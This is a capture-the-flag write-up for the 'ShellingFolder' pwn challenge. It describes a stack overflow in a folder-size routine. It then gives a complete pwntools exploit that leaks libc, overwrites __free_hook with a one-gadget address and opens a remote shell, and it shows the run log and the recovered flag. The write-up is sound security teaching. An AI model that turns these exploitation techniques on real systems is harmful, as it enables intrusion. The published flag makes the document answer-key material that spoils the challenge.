Category: pwn
Points: 200
64 bit ELF, with all the protection enabled.
The program is a simple file system. You can create or delete files and folders, list files in a folder, change the current folder and calculate the size of a folder.
It’s a unix-like file system, where folders are also a special type of file. Both folders and files are stored in the program with the following data structure:
1
2
3
4
5
6
7
struct file{
struct file *sub_file[10]; // will all be null if it's a normal file
struct file *parent_folder;
char name[32];
long file_size;
int is_dir;
}
If a folder is created, the is_dir
flag will be set to 1
, and the file_size
will be set to 0
. A folder is allowed to contain at most 10 sub_file
. If a normal file is created ( not folder ), the is_dir
flag will be set to 0
, and the value of file_size
is set by user.
There’s a buffer overflow vulnerability in the function of calculating the folder size:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void cal_folder_size(struct file *cur_folder)
{
char s; // [sp+10h] [bp-30h]@3
__int64 *v3; // [sp+28h] [bp-18h]@5
int idx; // [sp+30h] [bp-10h]@3
if ( !cur_folder )
exit(1);
idx = 0;
memset(&s, 0, 0x20uLL);
while ( idx <= 9 )
{
if ( cur_folder->sub_file[idx] )
{
v3 = &cur_folder->file_size;
copy_file_name(&s, cur_folder->sub_file[idx]->name); // <-- here we have a buffer overflow vulnerability
if ( cur_folder->sub_file[idx]->is_dir == 1 )
{
*v3 = *v3;
}
else
{
printf("%s : size %ld\n", &s, cur_folder->sub_file[idx]->file_size);
*v3 += cur_folder->sub_file[idx]->file_size;
}
}
++idx;
}
printf("The size of the folder is %ld\n", cur_folder->file_size);
}
When we set a file’s name, we can input at most 31 characters. Inside the cal_folder_size
function, the program will try to copy the file’s name into a buffer s
, which its size is only 24 bytes long. The vulnerability will cause the program to overwrite the v3
variable.
The v3
variable is an int*
type pointer, which points to the current folder’s file_size
. Since we can overwrite this pointer, we can try to control this pointer and the size of the sub_file[idx]
, so when the program execute the code at line:
1
*v3 += cur_folder->sub_file[idx]->file_size
it will actually let us control the value of any address.
But remember the program has all the protection enabled, including PIE, so first we’ll have to leak some address. Here’s how I leak the address of the libc:
- Create & delete some folders, so the pointer that points to the head of smallbin will appear on the heap memory.
- Exploit the buffer overflow vulnerability, partial overwrite the
v3
pointer and make it point to astruct file
pointerp
(*v3 = p
). - Control a
sub_file
’sfile_size
, so when it comes to the line*v3 += cur_folder->sub_file[idx]->file_size
, it will adjust the value ofp
, makingp->name
point to the libc’s address ( address of the smallbin’s head ) - List the files in the current folder and leak the libc’s address.
After we got the libc’s address, we can use the same vulnerability to overwrite the __free_hook
function pointer into the address of one gadget, and get the shell by deleting a file. Notice that file_size
stores the value returned by atoi
, a four-byte integer, so we’ll have to overwrite __free_hook
twice : first overwrite __free_hook
, then overwrite __free_hook+4
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
HOST = "52.69.237.212"
#HOST = "127.0.0.1"
PORT = 4869
ELF_PATH = "./shellingfolder_noalarm"
#LIBC_PATH = "/lib/x86_64-linux-gnu/libc.so.6"
LIBC_PATH = "./libc.so.6"
# setting
context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
elf = ELF(ELF_PATH)
libc = ELF(LIBC_PATH)
def my_recvuntil(s, delim):
res = ""
while delim not in res:
c = s.recv(1)
res += c
sys.stdout.write(c)
sys.stdout.flush()
return res
def myexec(cmd):
return subprocess.check_output(cmd, shell=True)
def str_addr(s, f): # search string address in file
result = list(f.search(s+"\x00"))
if not len(result): # no result
return None
else:
return result[0]
def create_file(name, size):
r.sendlineafter(":", "4")
r.sendafter(":", name)
r.sendlineafter(":", str(size))
def change_dir(name):
r.sendlineafter(":", "2")
r.sendafter(":", name)
def remove(name):
r.sendlineafter(":", "5")
r.sendafter(":", name)
def make_dir(name):
r.sendlineafter(":", "3")
r.sendafter(":", name)
def ls():
r.sendlineafter(":", "1")
def cal():
r.sendlineafter(":", "6")
if __name__ == "__main__":
r = remote(HOST, PORT)
#r = process(ELF_PATH)
# overwrite &file->fize_size (address of file_size)
# use cal() to let file->name point to main_arena+88
make_dir("AAAA")
make_dir("BBBB")
make_dir("CCCC")
create_file("F"*24+p8(0x10), 64)
remove("BBBB\n")
remove("CCCC\n")
cal()
ls()
# leak libc address
######################## one gadget
# .text:000000000004525A mov rax, cs:environ_ptr_0
# .text:0000000000045261 lea rdi, aBinSh ; "/bin/sh"
# .text:0000000000045268 lea rsi, [rsp+188h+var_158]
# .text:000000000004526D mov cs:dword_3C54A0, 0
# .text:0000000000045277 mov cs:dword_3C54A4, 0
# .text:0000000000045281 mov rdx, [rax]
# .text:0000000000045284 call execve
##########################
r.recvuntil("----------------------\n")
libc.address += u64(r.recv(6).ljust(8, "\x00")) - 0x3c3b78
one_gadget = libc.address + 0x4525a
malloc_hook = libc.symbols['__malloc_hook']
free_hook = libc.symbols['__free_hook']
log.success("libc_base: "+hex(libc.address))
log.success("one_gadget: "+hex(one_gadget))
log.success("malloc_hook: "+hex(malloc_hook))
log.success("free_hook: "+hex(free_hook))
# overwrite free_hook to one_gadet
make_dir("DDDD")
change_dir("DDDD\n")
create_file("i"*24+p64(free_hook)[:7:], (one_gadget & 0xffffffff))
create_file("I"*24+p64(free_hook+4)[:7:], ((one_gadget & 0xffffffff00000000)>>32))
cal()
# get shell
remove("i"*24+p64(free_hook)[:7:])
r.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[x] Opening connection to 52.69.237.212 on port 4869
[x] Opening connection to 52.69.237.212 on port 4869: Trying 52.69.237.212
[+] Opening connection to 52.69.237.212 on port 4869: Done
[+] libc_base: 0x7ff15c7cc000
[+] one_gadget: 0x7ff15c81125a
[+] malloc_hook: 0x7ff15cb8fb10
[+] free_hook: 0x7ff15cb917a8
[*] Switching to interactive mode
size 32753
The size of the folder is 0
**************************************
ShellingFolder
**************************************
1.List the current folder
2.Change the current folder
3.Make a folder
4.Create a file in current folder
5.Remove a folder or a file
6.Caculate the size of folder
7.Exit
**************************************
Your choice:Choose a Folder or file :
// id
uid=1000(shellingfolder) gid=1000(shellingfolder) groups=1000(shellingfolder)
// cat /home/shellingfolder/flag
hitcon{Sh3llingF0ld3r_Sh3rr1nf0rd_Pl4y_w17h_4_S1mpl3_D4t4_Ori3nt3d_Pr0gr4mm1n7}
flag: hitcon{Sh3llingF0ld3r_Sh3rr1nf0rd_Pl4y_w17h_4_S1mpl3_D4t4_Ori3nt3d_Pr0gr4mm1n7}
Comments powered by Disqus.